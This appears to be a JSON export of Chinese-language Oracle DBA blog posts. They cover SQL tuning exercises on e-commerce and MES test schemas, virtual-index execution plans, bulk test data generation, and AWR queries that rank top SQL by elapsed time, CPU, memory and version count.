(Correlated Subquery) # 需求： 找出每一筆訂單中，價格高於該訂單內所有商品平均價格的明細。\n1 2 3 4 SELECT * FROM ORDER_ITEMS i1 WHERE UNIT_PRICE \u0026gt; ( SELECT AVG(UNIT_PRICE) FROM ORDER_ITEMS i2 WHERE i2.ORDER_ID = i1.ORDER_ID ); 10. 終極挑戰：笛卡兒積風險與反模式 # 需求： 故意寫出一個沒有適當 Join 條件或是在大型非索引欄位上做 OR 運算的查詢，觀察 Oracle 的 CBO (Cost-Based Optimizer) 如何掙扎。\n1 2 3 4 SELECT c.CUST_NAME, p.PROD_NAME, l.STATION_INFO FROM CUSTOMERS c, PRODUCTS p, LOGISTICS_DETAIL l WHERE (c.CUST_ID = l.ORDER_ID OR c.CUST_NAME = l.TRACKING_NUM) AND p.PRICE \u0026gt; 4900; 調校建議步驟 # 開啟追蹤： 使用 SET AUTOTRACE ON 或 EXPLAIN PLAN FOR...。 觀察數據分布： 10 萬筆資料下，某些欄位（如 CITY）重複率高，適合建立 Bitmap Index（如果是 Data Warehouse 環境）或 B-Tree Index。 針對 CLOB 優化： 考慮是否需要 Full Text Index (Oracle Text)。 改寫 SQL： 試著將 IN 改成 EXISTS 或 JOIN，觀察 Cost 的變化。 調校紀錄 # 1 2 EXPLAIN PLAN FOR SELECT CUST_NAME FROM CUSTOMERS WHERE CITY = \u0026#39;Taipei\u0026#39; AND MEMBER_LEVEL = 5; SELECT * FROM TABLE(DBMS_XPLAN.DISPLAY); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PLAN_TABLE_OUTPUT | -------------------------------------------------------------------------------+ Plan hash value: 2008213504 | | -------------------------------------------------------------------------------| | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time || -------------------------------------------------------------------------------| | 0 | SELECT STATEMENT | | 54445 | 4625K| 6207 (1)| 00:01:15 || |* 1 | TABLE ACCESS FULL| CUSTOMERS | 54445 | 4625K| 6207 (1)| 00:01:15 || -------------------------------------------------------------------------------| | Predicate Information (identified by operation id): | --------------------------------------------------- | | 1 - filter(\u0026#34;MEMBER_LEVEL\u0026#34;=5 AND \u0026#34;CITY\u0026#34;=\u0026#39;Taipei\u0026#39;) | | Note | ----- | - dynamic sampling used for this statement (level=2) | 1 CREATE INDEX idx_cust_city_level ON CUSTOMERS (CITY, MEMBER_LEVEL) NOSEGMENT; 1 2 3 4 5 Query\tCREATE INDEX idx_cust_city_level ON CUSTOMERS (CITY, MEMBER_LEVEL) NOSEGMENT Updated Rows\t0 Execute time\t0.014s Start time\tFri Feb 06 13:39:05 CST 2026 Finish time\tFri Feb 06 13:39:05 CST 2026 1 ALTER SESSION SET \u0026#34;_use_nosegment_indexes\u0026#34; = TRUE; 1 2 EXPLAIN PLAN FOR SELECT CUST_NAME FROM CUSTOMERS WHERE CITY = \u0026#39;Taipei\u0026#39; AND MEMBER_LEVEL = 5; SELECT * FROM TABLE(DBMS_XPLAN.DISPLAY); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 PLAN_TABLE_OUTPUT | ---------------------------------------------------------------------------------------------------+ Plan hash value: 4017564175 | | ---------------------------------------------------------------------------------------------------| | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time || ---------------------------------------------------------------------------------------------------| | 0 | SELECT STATEMENT | | 54445 | 4625K| 9 (0)| 00:00:01 || | 1 | TABLE ACCESS BY INDEX ROWID| CUSTOMERS | 54445 | 4625K| 9 (0)| 00:00:01 || |* 2 | INDEX RANGE SCAN | IDX_CUST_CITY_LEVEL | 10729 | | 1 (0)| 00:00:01 || ---------------------------------------------------------------------------------------------------| | Predicate Information (identified by operation id): | --------------------------------------------------- | | 2 - access(\u0026#34;CITY\u0026#34;=\u0026#39;Taipei\u0026#39; AND \u0026#34;MEMBER_LEVEL\u0026#34;=5) | | Note | ----- | - dynamic sampling used for this statement (level=2) | 1 2 -- 刪除虛擬索引 DROP INDEX idx_cust_city_level; 1 2 3 4 5 6 Query\t-- 刪除虛擬索引 DROP INDEX idx_cust_city_level Updated Rows\t0 Execute time\t0.014s Start time\tFri Feb 06 13:42:57 CST 2026 Finish time\tFri Feb 06 13:42:57 CST 2026 1 2 -- 建立實體索引（正式讓查詢變快） CREATE INDEX idx_cust_city_level ON CUSTOMERS (CITY, MEMBER_LEVEL) ; 1 2 3 4 5 6 Query\t-- 建立實體索引（正式讓查詢變快） CREATE INDEX idx_cust_city_level ON CUSTOMERS (CITY, MEMBER_LEVEL) Updated Rows\t0 Execute time\t4s Start time\tFri Feb 06 13:43:02 CST 2026 Finish time\tFri Feb 06 13:43:07 CST 2026 ","date":"January 31, 2026","externalUrl":null,"permalink":"/oracle-database/sql-tunning-task-common/","section":"Oracle-Databases","summary":"以**「電商物流系統」**為主題。這個場景包含了高頻交易、大量文字描述以及複雜的關聯。\n以下是針對 Oracle 11g 環境設計的實作腳本。\n第一步：設計與建立資料表 (DDL) # 我們設計五張表：客戶 (CUSTOMERS)、商品 (PRODUCTS)、訂單主檔 (ORDERS)、訂單明細 (ORDER_ITEMS)、以及物流追蹤備註 (LOGISTICS_DETAIL)。\n","title":"SQL tunning task common","type":"oracle-database"},{"content":" 第一步：MES 系統資料表設計 (DDL) # 我們設計六張核心表，涵蓋工單、批次（Lot）、機台、過帳紀錄與參數採集。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 -- 1. 工單表 (Work Orders) CREATE TABLE MES_WORK_ORDERS ( WO_ID NUMBER PRIMARY KEY, WO_NO VARCHAR2(50) NOT NULL, PART_NO VARCHAR2(50), TARGET_QTY NUMBER(10), CREATE_TIME DATE, STATUS CHAR(1) -- \u0026#39;O\u0026#39;: Open, \u0026#39;C\u0026#39;: Closed ); -- 2. 批次主檔 (WIP Lots) CREATE TABLE MES_WIP_LOTS ( LOT_ID NUMBER PRIMARY KEY, LOT_NO VARCHAR2(50) UNIQUE, WO_ID NUMBER, CURR_STEP VARCHAR2(20), QTY NUMBER(10,2), IS_HOLD CHAR(1) DEFAULT \u0026#39;N\u0026#39; ); -- 3. 生產設備表 (Equipment) CREATE TABLE MES_EQUIPMENT ( EQP_ID NUMBER PRIMARY KEY, EQP_CODE VARCHAR2(50), EQP_TYPE VARCHAR2(20), LOCATION VARCHAR2(50), LAST_MAINTENANCE DATE ); -- 4. 生產過帳歷史 (Move History) - 這是調校重點（大表） CREATE TABLE MES_MOVE_HISTORY ( TXN_ID NUMBER PRIMARY KEY, LOT_ID NUMBER, STEP_ID VARCHAR2(20), EQP_ID NUMBER, OP_ID NUMBER, -- 操作人員 START_TIME DATE, END_TIME DATE, TXN_CODE VARCHAR2(10) -- \u0026#39;TRACKIN\u0026#39;, \u0026#39;TRACKOUT\u0026#39; ); -- 5. 品質量測數據 (Quality Data) - 數字密集 CREATE TABLE MES_QUALITY_DATA ( DATA_ID NUMBER PRIMARY KEY, TXN_ID NUMBER, MEASURE_ITEM VARCHAR2(50), VALUE_NUM NUMBER(15,5), UPPER_LIMIT NUMBER(15,5), LOWER_LIMIT NUMBER(15,5), RESULT CHAR(1) -- \u0026#39;P\u0026#39;: Pass, \u0026#39;F\u0026#39;: Fail ); -- 6. 系統異常日誌 (Error Logs) - 包含 CLOB CREATE TABLE MES_SYSTEM_LOGS ( LOG_ID NUMBER PRIMARY KEY, MODULE_NAME VARCHAR2(50), OCCUR_TIME TIMESTAMP, ERROR_CODE VARCHAR2(20), STACK_TRACE CLOB, REMARK VARCHAR2(1000) ); 第二步：快速產生 1,000 萬筆資料 (DML) # 對於 10M 等級的資料，建議使用 /*+ APPEND */ 進行直接路徑插入 (Direct Path Insert)，並將表設為 NOLOGGING 以加快速度。\n注意： 執行前請確認磁碟空間充足（預計約需 10GB~20GB 空間）。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -- 以生產歷史表為例 (產生 1000 萬筆) INSERT /*+ APPEND */ INTO MES_MOVE_HISTORY SELECT LEVEL, TRUNC(DBMS_RANDOM.VALUE(1, 1000000)), -- 假設有 100 萬個批次 \u0026#39;STEP_\u0026#39; || LPAD(TRUNC(DBMS_RANDOM.VALUE(1, 100)), 3, \u0026#39;0\u0026#39;), TRUNC(DBMS_RANDOM.VALUE(1, 5000)), -- 5000 台設備 TRUNC(DBMS_RANDOM.VALUE(1, 1000)), -- 1000 個作業員 SYSDATE - DBMS_RANDOM.VALUE(0, 365), SYSDATE - DBMS_RANDOM.VALUE(0, 364), CASE MOD(LEVEL, 2) WHEN 0 THEN \u0026#39;TRACKIN\u0026#39; ELSE \u0026#39;TRACKOUT\u0026#39; END FROM DUAL CONNECT BY LEVEL \u0026lt;= 10000000; COMMIT; -- 務必收集統計資訊，否則 CBO 會誤判 EXEC DBMS_STATS.GATHER_TABLE_STATS(USER, \u0026#39;MES_MOVE_HISTORY\u0026#39;, CASCADE =\u0026gt; TRUE); (以此類推完成其他表，建議分批 Commit 或調整 Undo Segment)\n第三步：10 組 MES 調校專用 SQL # 1. 基礎查詢：索引失效測試 # 情境： 找出某個時間區段內的過帳紀錄，但 START_TIME 被套用了函數導致無法走 Index。\n1 2 SELECT * FROM MES_MOVE_HISTORY WHERE TO_CHAR(START_TIME, \u0026#39;YYYYMMDD\u0026#39;) = \u0026#39;20250520\u0026#39;; 2. 聚合分析：產線稼動率計算 # 情境： 計算每台設備在過去一週的總加工時數（End - Start）。這在 10M 筆資料下會觸發大量 Hash Aggregate。\n1 2 3 4 SELECT EQP_ID, SUM((END_TIME - START_TIME) * 24) as WORK_HOURS FROM MES_MOVE_HISTORY WHERE START_TIME \u0026gt; SYSDATE - 7 GROUP BY EQP_ID; 3. 多表關聯：WIP 在製清單 # 情境： 找出所有狀態為 \u0026lsquo;Open\u0026rsquo; 的工單中，目前被 \u0026lsquo;Hold\u0026rsquo; 住的 Lot 以及它們所在的機台。\n1 2 3 4 5 6 SELECT w.WO_NO, l.LOT_NO, e.EQP_CODE FROM MES_WORK_ORDERS w JOIN MES_WIP_LOTS l ON w.WO_ID = l.WO_ID JOIN MES_MOVE_HISTORY m ON l.LOT_ID = m.LOT_ID JOIN MES_EQUIPMENT e ON m.EQP_ID = e.EQP_ID WHERE w.STATUS = \u0026#39;O\u0026#39; AND l.IS_HOLD = \u0026#39;Y\u0026#39; AND m.TXN_CODE = \u0026#39;TRACKIN\u0026#39;; 4. 視窗函數：Lead/Lag 分析 (進程時效) # 情境： 計算每個 Lot 從上一個站點到下一個站點的「移轉時間」(Transfer Time)。\n1 2 3 SELECT LOT_ID, STEP_ID, START_TIME, LAG(END_TIME) OVER (PARTITION BY LOT_ID ORDER BY START_TIME) as PREV_END_TIME FROM MES_MOVE_HISTORY; 5. 品質數據追蹤：離群值檢索 # 情境： 找出所有量測值 (VALUE_NUM) 超出上下限且屬於 \u0026lsquo;Electronics\u0026rsquo; 類別設備生產的 Lot。\n1 2 3 4 5 SELECT l.LOT_NO, q.MEASURE_ITEM, q.VALUE_NUM FROM MES_QUALITY_DATA q JOIN MES_MOVE_HISTORY m ON q.TXN_ID = m.TXN_ID JOIN MES_WIP_LOTS l ON m.LOT_ID = l.LOT_ID WHERE q.RESULT = \u0026#39;F\u0026#39; AND q.VALUE_NUM \u0026gt; q.UPPER_LIMIT; 6. 複雜子查詢：尚未完成量測的批次 # 情境： 找出已過帳 (TRACKOUT) 但在 MES_QUALITY_DATA 表中卻沒有對應數據的紀錄（測試 NOT EXISTS 效能）。\n1 2 3 SELECT * FROM MES_MOVE_HISTORY m WHERE TXN_CODE = \u0026#39;TRACKOUT\u0026#39; AND NOT EXISTS (SELECT 1 FROM MES_QUALITY_DATA q WHERE q.TXN_ID = m.TXN_ID); 7. CLOB 全文檢索與效能瓶頸 # 情境： 在 1000 萬筆日誌中，搜尋 Stack Trace 包含 \u0026lsquo;NullPointerException\u0026rsquo; 且發生在特定機台模組的錯誤。\n1 2 3 SELECT * FROM MES_SYSTEM_LOGS WHERE MODULE_NAME = \u0026#39;WAFER_ETCH\u0026#39; AND STACK_TRACE LIKE \u0026#39;%NullPointerException%\u0026#39;; 8. 階層式查詢 (Hierarchical)：批次拆分追溯 (Split/Merge) # 情境： 在 MES 中，Lot 會被拆分或合併，利用 CONNECT BY 找出某個祖先批次的所有子孫批次（假設有 Parent_Lot 欄位）。\n1 2 3 4 -- 需先在 MES_WIP_LOTS 增加 PARENT_LOT_ID 欄位 SELECT LEVEL, LOT_NO FROM MES_WIP_LOTS START WITH LOT_NO = \u0026#39;ROOT_LOT_001\u0026#39; CONNECT BY PRIOR LOT_ID = PARENT_LOT_ID; 9. 關聯子查詢更新 (Correlated Update) # 情境： 根據最新的 MES_MOVE_HISTORY 更新 MES_WIP_LOTS 的當前站點 CURR_STEP。這在大表更新時非常耗時。\n1 2 3 4 5 6 UPDATE MES_WIP_LOTS l SET CURR_STEP = ( SELECT MAX(STEP_ID) FROM MES_MOVE_HISTORY m WHERE m.LOT_ID = l.LOT_ID ) WHERE EXISTS (SELECT 1 FROM MES_MOVE_HISTORY m WHERE m.LOT_ID = l.LOT_ID); 10. 終極挑戰：多維度生產報表 (Complex Pivot/Rollup) # 情境： 產生一份報表，按「日、班別 (Shift)、機台類型」統計良率，並計算與前一天的增長率。\n1 2 3 4 5 6 7 8 SELECT TRUNC(START_TIME) as PROD_DATE, e.EQP_TYPE, COUNT(DISTINCT m.LOT_ID) as TOTAL_LOTS, SUM(CASE WHEN q.RESULT = \u0026#39;P\u0026#39; THEN 1 ELSE 0 END) / COUNT(*) as YIELD_RATE FROM MES_MOVE_HISTORY m JOIN MES_EQUIPMENT e ON m.EQP_ID = e.EQP_ID LEFT JOIN MES_QUALITY_DATA q ON m.TXN_ID = q.TXN_ID GROUP BY ROLLUP(TRUNC(START_TIME), e.EQP_TYPE); 下一步建議 # 在 1,000 萬筆資料下，索引的選擇（B-Tree vs Bitmap）以及 Partitioning (分區) 會是效能的關鍵。\n您是否希望我針對其中一個 SQL，示範如何建立 Partition (範圍或雜湊分區) 來大幅提升查詢速度？\n","date":"January 31, 2026","externalUrl":null,"permalink":"/oracle-database/sql-tunning-task-mes/","section":"Oracle-Databases","summary":"第一步：MES 系統資料表設計 (DDL) # 我們設計六張核心表，涵蓋工單、批次（Lot）、機台、過帳紀錄與參數採集。\n","title":"SQL tunning task MES","type":"oracle-database"},{"content":"","date":"January 31, 2026","externalUrl":null,"permalink":"/categories/%E5%B7%A5%E4%BD%9C%E9%9B%9C%E8%A8%98/","section":"Categories","summary":"","title":"工作雜記","type":"categories"},{"content":"","date":"January 15, 2026","externalUrl":null,"permalink":"/tags/awr/","section":"Tags","summary":"","title":"AWR","type":"tags"},{"content":"以下我針對 AWR 中的 TOP SQL 進行研究\nSQL ordered by Elapsed Time SQL ordered by CPU Time SQL ordered by User I/O Wait Time SQL ordered by Gets SQL ordered by Reads SQL ordered by Physical Reads (UnOptimized) SQL ordered by Executions SQL ordered by Parse Calls SQL ordered by Sharable Memory SQL ordered by Version Count 尋找方式 # 1. SQL ordered by TOP Event # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 WITH sql_metrics AS ( -- 1. 從歷史視圖中加總各項增量指標 SELECT s.sql_id, SUM(s.elapsed_time_delta) / 1000000 as total_elapsed_sec, SUM(s.cpu_time_delta) / 1000000 as total_cpu_sec, SUM(s.iowait_delta) / 1000000 as total_io_wait_sec, SUM(s.buffer_gets_delta) as total_gets, SUM(s.disk_reads_delta) as total_reads, -- Physical Reads (UnOptimized) 通常是指排除掉從 Flash Cache 讀取的真正磁碟讀取 SUM(s.physical_read_requests_delta) as total_phys_read_req, SUM(s.executions_delta) as total_execs, SUM(s.parse_calls_delta) as total_parse_calls, -- 這些是目前快照點的狀態值，取最大值作為參考 MAX(s.sharable_mem) / 1024 / 1024 as max_sharable_mem_mb, MAX(s.version_count) as max_version_count FROM dba_hist_sqlstat s JOIN dba_hist_snapshot sn ON s.snap_id = sn.snap_id AND s.dbid = sn.dbid AND s.instance_number = sn.instance_number WHERE sn.begin_interval_time \u0026gt;= SYSDATE - 1 GROUP BY s.sql_id ), ranked_sql AS ( -- 2. 針對各個維度進行排名 SELECT m.*, RANK() OVER (ORDER BY total_elapsed_sec DESC) as rank_elapsed, RANK() OVER (ORDER BY total_cpu_sec DESC) as rank_cpu, RANK() OVER (ORDER BY total_io_wait_sec DESC) as rank_io, RANK() OVER (ORDER BY total_gets DESC) as rank_gets, RANK() OVER (ORDER BY total_reads DESC) as rank_reads, RANK() OVER (ORDER BY total_phys_read_req DESC) as rank_unoptimized, RANK() OVER (ORDER BY total_execs DESC) as rank_execs, RANK() OVER (ORDER BY total_parse_calls DESC) as rank_parse, RANK() OVER (ORDER BY max_sharable_mem_mb DESC) as rank_mem, RANK() OVER (ORDER BY max_version_count DESC) as rank_version FROM sql_metrics m ) -- 3. 結合 SQL 文字並輸出 (此處以 Elapsed Time 前 20 名為例) SELECT * FROM ( SELECT r.sql_id, r.total_elapsed_sec as \u0026#34;Elapsed(s)\u0026#34;, r.total_cpu_sec as \u0026#34;CPU(s)\u0026#34;, r.total_io_wait_sec as \u0026#34;IO_Wait(s)\u0026#34;, r.total_gets as \u0026#34;Gets\u0026#34;, r.total_reads as \u0026#34;Reads\u0026#34;, r.total_execs as \u0026#34;Execs\u0026#34;, r.total_parse_calls as \u0026#34;Parses\u0026#34;, ROUND(r.max_sharable_mem_mb, 2) as \u0026#34;Mem(MB)\u0026#34;, r.max_version_count as \u0026#34;Versions\u0026#34;, -- 顯示前 100 個字元的 SQL 文字 DBMS_LOB.SUBSTR(st.sql_text, 100, 1) as sql_snippet FROM ranked_sql r LEFT JOIN dba_hist_sqltext st ON r.sql_id = st.sql_id -- 你可以更換下方的排序條件來查看不同的 TOP 榜單 ORDER BY r.rank_elapsed ASC ) WHERE ROWNUM \u0026lt;= 20 執行結果範例\n1 2 3 4 5 6 7 SQL_ID |Elapsed(s)|CPU(s) |IO_Wait(s)|Gets |Reads|Execs|Parses|Mem(MB)|Versions|SQL_SNIPPET | -------------+----------+---------+----------+-------+-----+-----+------+-------+--------+----------------------------------------------------------------------------------------------------+ 1m0ycv6wsty7n| 61.979993|60.790774| 0.184443|6704627| 711| 2| 2| 0.5| 1|WITH snap_range AS (¶ SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_ti| 05s9358mm6vrr| 14.77161|14.543842| 0.029922| 421192| 28| 1| 1| 0.02| 1|begin dbms_feature_usage_internal.exec_db_usage_sampling(:bind1); end; | fjhkhwhpjm3sg| 11.539788|11.325182| 0|1267227| 0| 1| 1| 0.5| 1|WITH snap_range AS (¶ SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_ti| 9qrhhm7pf2ghv| 6.847261| 6.710161| 0| 1131| 0| 108| 108| 0.07| 1|insert into wrh$_mvparameter (dbid, per_pdb, con_dbid, snap_id, instance_number, parameter_hash, o| 10a6561dxa8d5| 5.730789| 5.639107| 0| 623177| 0| 1| 1| 0.5| 1|WITH snap_range AS (¶ SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_ti| 根據列出的這些排序維度，實戰中通常會這樣判斷：\nElapsed Time vs CPU Time: 如果 Elapsed Time 很高但 CPU Time 很低，代表 SQL 大部分時間在「等待」（如 I/O 或 Lock）。 Gets (Logical Reads): 這是衡量 SQL 效率最穩定的指標。如果 Gets 很高但 Rows Processed 很少，說明索引效率極差（Index Scan 讀了太多 Block）。 Physical Reads (UnOptimized): 數值高代表該 SQL 經常迫使資料庫從實體磁碟讀取資料，未命中 Buffer Cache 或 Flash Cache，對硬體壓力最大。 Parse Calls: 如果這項指標很高且與 Executions 接近，代表應用程式沒有重用 Cursor，每次執行都要解析，非常消耗 CPU。 Sharable Memory \u0026amp; Version Count: Version Count: 如果一條 SQL 有數百個版本，代表發生了 High Version Count 問題（通常與 ACS、Bind Peek、shared pool 不足 或不同 Session 的環境參數設定有關）。 Sharable Memory: 如果單一 SQL 佔用過多記憶體（如 \u0026gt; 100MB），會增加 Shared Pool 的壓力。 AWR 歷史 TOP SQL 記憶體佔用分析 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 WITH snap_range AS ( -- 1. 定義時間範圍與基礎快照資訊 (過去 24 小時) SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), sql_mem_stats AS ( -- 2. 彙整該時段內 SQL 的記憶體與版本資訊 SELECT s.sql_id, -- 取得該時段內此 SQL 曾達到的最大記憶體佔用 MAX(s.sharable_mem) / 1024 / 1024 as max_sharable_mem_mb, -- 取得對應的最大子游標數量 MAX(s.version_count) as max_version_count, -- 累計執行次數 SUM(s.executions_delta) as total_execs FROM dba_hist_sqlstat s JOIN snap_range sr ON s.snap_id = sr.snap_id AND s.dbid = sr.dbid AND s.instance_number = sr.instance_number GROUP BY s.sql_id ) -- 3. 結合 SQL 文字並輸出前 20 名 SELECT * FROM ( SELECT m.sql_id, ROUND(m.max_sharable_mem_mb, 2) as \u0026#34;Peak_Mem (MB)\u0026#34;, m.max_version_count as \u0026#34;Max_Versions\u0026#34;, m.total_execs as \u0026#34;Total_Executions\u0026#34;, DBMS_LOB.SUBSTR(st.sql_text, 100, 1) as sql_snippet FROM sql_mem_stats m LEFT JOIN dba_hist_sqltext st ON m.sql_id = st.sql_id -- 依據最大記憶體佔用排序 ORDER BY m.max_sharable_mem_mb DESC ) WHERE ROWNUM \u0026lt;= 20; 執行結果範例\n1 2 3 4 5 SQL_ID |Peak_Mem (MB)|Max_Versions|Total_Executions|SQL_SNIPPET | -------------+-------------+------------+----------------+----------------------------------------------------------------------------------------------------+ 9yv5dwv8k0awg| 4.17| 1| 4|WITH MONITOR_DATA AS (SELECT INST_ID, KEY, NVL2(PX_QCSID, NULL, STATUS) STATUS, FIRST_REFRESH_TIME, | ggh55rhz95kyj| 3.57| 1| 1|SELECT AUDIT_OPTION_TYPE, COUNT(DISTINCT POLICY_NAME) POL_CNT FROM AUDIT_UNIFIED_POLICIES GROUP BY A| f9dcfdnuhy9z1| 2.12| 2| 133|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 高記憶體 + 低版本 (High Mem, Low Versions):\n現象：Peak_Mem 超過 50-100MB，但 Max_Versions 只有個位數。 原因：這通常是 SQL 文本過長 造成的。最常見的是 IN 子句中包含了數千個參數，或是極其複雜的巢狀 CASE WHEN 邏輯。這會導致解析樹（Parse Tree）變得極其龐大。 高記憶體 + 高版本 (High Mem, High Versions):\n現象：Peak_Mem 很高，同時 Max_Versions 超過 100 甚至上千。 原因：這是 子游標無法共享 (Cursor Non-sharing)。可能是因為不同 Session 的參數設定不同、綁定變數長度差異過大，或是觸發了 Adaptive Cursor Sharing。雖然每個版本可能不大，但累積起來會吃掉大量 Shared Pool。 高記憶體 + 零執行 (High Mem, 0 Execs):\n現象：記憶體佔用高，但 Total_Executions 卻是 0。 原因：這代表該 SQL 解析失敗 (Failed Parse) 或解析後未被執行。頻繁的解析失敗同樣會消耗 Shared Pool 資源，必須檢查應用程式邏輯。 可以將這段 SQL 得到的結果與 AWR Shared Pool Statistics 趨勢圖 比對。\n如果 SP Memory Usage % 持續攀升，且這份名單中的前幾名 SQL 的 Peak_Mem 也在增加，那就是你必須優先優化的對象。 如果 SQL 重用率 (% SQL w/exec\u0026gt;1) 下降，應回頭檢查是否有名單外的大量一次性 SQL (Literal SQL) 正在污染 Shared Pool。 AWR 每小時 TOP SQL 記憶體對比分析 # 這段查詢會按小時分組，並列出每小時記憶體佔用前 5 名的 SQL，方便觀察「排名變動」。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 WITH snap_range AS ( -- 1. 延用你的趨勢報表基礎：定義時間範圍 SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), sql_hourly_stats AS ( -- 2. 按「小時」與「SQL_ID」進行彙整 SELECT TRUNC(sr.begin_interval_time, \u0026#39;HH24\u0026#39;) as start_hour, s.sql_id, -- 取該小時內最大的共享記憶體與版本數 MAX(s.sharable_mem) / 1024 / 1024 as max_mem_mb, MAX(s.version_count) as max_versions, SUM(s.executions_delta) as hourly_execs FROM dba_hist_sqlstat s JOIN snap_range sr ON s.snap_id = sr.snap_id AND s.dbid = sr.dbid AND s.instance_number = sr.instance_number GROUP BY TRUNC(sr.begin_interval_time, \u0026#39;HH24\u0026#39;), s.sql_id ), ranked_sql AS ( -- 3. 為每小時內的 SQL 進行內部排名 SELECT start_hour, sql_id, max_mem_mb, max_versions, hourly_execs, ROW_NUMBER() OVER (PARTITION BY start_hour ORDER BY max_mem_mb DESC) as rnk FROM sql_hourly_stats ) -- 4. 最終輸出：每小時對比格式 SELECT TO_CHAR(start_hour, \u0026#39;YYYY-MM-DD HH24:MI\u0026#39;) as \u0026#34;Analysis_Hour\u0026#34;, rnk as \u0026#34;Rank\u0026#34;, r.sql_id, ROUND(r.max_mem_mb, 2) as \u0026#34;Mem (MB)\u0026#34;, r.max_versions as \u0026#34;Versions\u0026#34;, r.hourly_execs as \u0026#34;Execs\u0026#34;, DBMS_LOB.SUBSTR(st.sql_text, 100, 1) as \u0026#34;SQL_Snippet\u0026#34; FROM ranked_sql r LEFT JOIN dba_hist_sqltext st ON r.sql_id = st.sql_id WHERE rnk \u0026lt;= 5 -- 每小時僅顯示前 5 名，方便對比 ORDER BY start_hour DESC, rnk ASC; 當你拿到這份「按小時對比」的報表時，請重點觀察以下三種現象：\n「常駐型」霸榜 (The Consistent Monster): 現象：某個 SQL_ID 在 24 小時內幾乎每一小時都在 Rank 1。 診斷：這是該系統的核心負載來源。如果它的 Mem (MB) 很大且 Versions 很高，說明存在系統性的不共享問題。 「突發型」閃現 (The Transient Spike): 現象：某個 SQL_ID 只出現在凌晨 2 點，且直接佔用 200MB 記憶體，隨後消失。 診斷：這通常是特定的批次作業（Batch Job）或備份排程觸發的 SQL。這種「短暫殺手」在每日總結報表中容易被稀釋，但在小時報表中會原形畢露。 「版本爬升」現象 (Version Creep): 現象：同一個 SQL_ID 的 Mem (MB) 與 Versions 隨著時間緩慢爬升（例如 10:00 是 10MB，15:00 變成 80MB）。 診斷：這代表該 SQL 的 Child Cursors 持續無法被重用，Shared Pool 的壓力會越來越大，直到觸發 ORA-04031 或 Instance 重啟為止。 執行結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 Analysis_Hour |Rank|SQL_ID |Mem (MB)|Versions|Execs|SQL_Snippet | ----------------+----+-------------+--------+--------+-----+----------------------------------------------------------------------------------------------------+ 2026-01-23 21:00| 1|f9dcfdnuhy9z1| 2.12| 2| 35|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 21:00| 2|7bxwkbxnsg0qy| 2.1| 2| 1|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 21:00| 3|8fhz3a6jurk3u| 1.06| 2| 2|SELECT OBJECT_NAME, STATUS, CREATED, LAST_DDL_TIME, TEMPORARY FROM ALL_OBJECTS WHERE OBJECT_TYPE=\u0026#39;P| 2026-01-23 21:00| 4|2qwrv481mqbrk| 0.54| 1| 1|SELECT DISTINCT OWNER,OBJECT_NAME,OBJECT_TYPE FROM (¶SELECT OWNER,OBJECT_NAME,OBJECT_TYPE FROM ALL_| 2026-01-23 21:00| 5|3dbzmtf9ahvzt| 0.22| 2| 139|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 20:00| 1|3dbzmtf9ahvzt| 0.22| 2| 129|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 20:00| 2|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 20:00| 3|c3utnxsnrx8tk| 0.18| 3| 4|update obj$ set obj#=:4, type#=:5,ctime=:6,mtime=:7,stime=:8,status=:9,dataobj#=:10,flags=:11,oid$=:| 2026-01-23 20:00| 4|c179sut1vgpc8| 0.13| 1| 12|INSERT /*+ LEADING(@\u0026#34;SEL$F5BB74E1\u0026#34; \u0026#34;H\u0026#34;@\u0026#34;SEL$2\u0026#34; 